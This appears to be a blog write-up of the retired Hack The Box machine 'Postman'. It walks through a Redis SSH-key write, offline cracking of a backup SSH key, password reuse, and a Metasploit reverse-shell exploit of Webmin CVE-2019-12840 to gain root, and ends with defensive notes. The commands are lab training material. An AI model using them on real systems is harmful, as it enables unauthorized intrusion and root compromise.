Peter Rakolcza Get in touch
← back to archive
// technical_debrief Easy

Postman

Postman chains an unauthenticated Redis instance into a web-management panel running as root.

platform
Hack The Box
target_os
Linux (Ubuntu)
difficulty
Easy
season
Retired
logged
December 5, 2026
exploit_vectors → Unauthenticated Redis (6379)Crackable backup SSH keyPassword reuse → user

Summary of Exploitation

Postman chains an unauthenticated Redis instance into a web-management panel running as root. The path is short but touches three classic issues — an exposed in-memory database, a reused/crackable backup SSH key, and a known authenticated RCE:

  1. Unauthenticated Redis (6379) lets us abuse CONFIG SET to write an SSH authorized_keys file into the redis user’s home → SSH as redis.
  2. Crackable backup SSH key — /opt/id_rsa.bak (Matt’s private key) is readable; ssh2john + john recover its passphrase.
  3. Password reuse → user — the key passphrase is also Matt’s account password; su Matt gives a real user shell and the user flag (direct SSH as Matt is blocked by AllowUsers/DenyUsers, so the pivot is through redis + su).
  4. Webmin 1.910 authenticated RCE (CVE-2019-12840) — Webmin on :10000 runs as root; Matt’s credentials drive the Package Updates RCE → root flag.

Recon Phase

Full-port scan:

nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>

Results (abridged):

Port State Service Version
22 open ssh OpenSSH 7.6p1 Ubuntu
80 open http Apache httpd 2.4.29
6379 open redis Redis key-value store 4.0.9
10000 open http MiniServ 1.910 (Webmin)

Key takeaways:

  • Redis is exposed on 6379 and, as it turns out, requires no authentication — the primary foothold.
  • Webmin (MiniServ 1.910) on :10000 is a root-privileged management panel and a known-vulnerable version — the likely root vector once credentials are in hand.
  • Port 80 is a static “The Cyber Geek’s Personal Website” with nothing immediately actionable.

Confirm Redis is open and unauthenticated:

redis-cli -h <target-ip> ping            # PONG  (no AUTH needed)
redis-cli -h <target-ip> info server

Foothold

Step 1 — Unauthenticated Redis → SSH as redis

With write access to the Redis config, the standard trick is to make Redis save its RDB file as an SSH authorized_keys file in the redis user’s home directory.

Generate a key pair and format the public key with padding newlines (so Redis’s RDB preamble/trailer don’t corrupt the key line):

ssh-keygen -t rsa -f ./postman_key -N ''
( echo -e '\n\n'; cat postman_key.pub; echo -e '\n\n' ) > key.txt

Load the key into Redis and point the save path at ~redis/.ssh/:

cat key.txt | redis-cli -h <target-ip> -x set payload
redis-cli -h <target-ip> config set dir /var/lib/redis/.ssh
redis-cli -h <target-ip> config set dbfilename authorized_keys
redis-cli -h <target-ip> save

SSH in as redis:

ssh -i ./postman_key redis@<target-ip>
id        # uid=107(redis)

Foothold as redis.

Step 2 — Backup SSH key → crack passphrase

Enumeration surfaced a readable backup of Matt’s private key:

cat /opt/id_rsa.bak           # -----BEGIN RSA PRIVATE KEY----- (Proc-Type: 4,ENCRYPTED)

The key is passphrase-protected. Convert it and crack with John:

ssh2john id_rsa.bak > matt.hash
john --wordlist=/usr/share/wordlists/rockyou.txt matt.hash
# id_rsa.bak:[REDACTED passphrase]

The key itself can’t be used to SSH in as Matt — sshd denies him (DenyUsers Matt / restricted AllowUsers). The valuable artifact is the passphrase, not the key.

Step 3 — Password reuse → user Matt

Matt reused the key passphrase as his login password, so switch user from the redis shell:

su Matt           # [REDACTED passphrase]
id                # uid=1000(Matt)
cat /home/Matt/user.txt   # [REDACTED]

User flag obtained.


Privilege Escalation

Step 4 — Webmin 1.910 Authenticated RCE (CVE-2019-12840) → Root

Webmin (MiniServ 1.910) on https://<target-ip>:10000/ runs as root. Matt’s credentials (Matt : the cracked passphrase) authenticate to it, and version 1.910 is vulnerable to CVE-2019-12840 — an authenticated command injection in the Package Updates (package-updates/) module, where the data parameter is passed unsanitized to a shell.

Metasploit route:

use exploit/linux/http/webmin_packageup_rce
set RHOSTS <target-ip>
set RPORT 10000
set SSL true
set USERNAME Matt
set PASSWORD <cracked passphrase>
set LHOST <attacker-ip>
run

Session returns as root:

id                 # uid=0(root)
cat /root/root.txt # [REDACTED]

Manual route (equivalent): log into Webmin as Matt, capture the authenticated session cookie, then POST to the package-updates update endpoint with a shell payload injected into the data/u field — the request executes as root because miniserv runs as root.

Root flag obtained.


Key Takeaways

  • Never expose Redis unauthenticated. CONFIG SET dir + dbfilename turns a key-value store into an arbitrary-file-write primitive — here, an SSH authorized_keys.
  • Backups leak what the live system protects. A passphrase-encrypted private key sitting in /opt was world-readable; offline cracking recovered the secret.
  • Password reuse bridges the gap. The key passphrase doubled as the account password, converting a dead-end key into a user shell via su.
  • Root-privileged web panels are prime targets. A known-vulnerable Webmin running as root turned one valid low-priv credential into instant root (CVE-2019-12840).

Full Attack Chain

Redis 6379 (no auth)  ──>  CONFIG SET dir/dbfilename → write ~redis/.ssh/authorized_keys
   └─ SSH as redis   [FOOTHOLD]
        └─ /opt/id_rsa.bak (readable) → ssh2john + john → key passphrase
             └─ password reuse → su Matt   [USER]
                  └─ Webmin 1.910 as root + CVE-2019-12840 (Package Updates RCE)
                       └─ root shell   [ROOT]

Vulnerability References

  • CVE-2019-12840 — Webmin ≤ 1.910 authenticated OS command injection in the Package Updates module (package-updates/), exploited as root.
  • Redis unauthenticated CONFIG SET file write — classic SSH-key-injection primitive against an exposed, auth-less Redis instance.

Defensive Notes

  • Bind Redis to 127.0.0.1, require requirepass/ACLs, and enable protected mode; never expose 6379 to the network.
  • Keep private keys — especially backups — out of world-readable locations; rotate any key whose passphrase is a dictionary word.
  • Do not reuse an SSH key passphrase as a login password.
  • Patch Webmin (fixed after 1.910) and never run management panels as root where avoidable; restrict :10000 to trusted networks.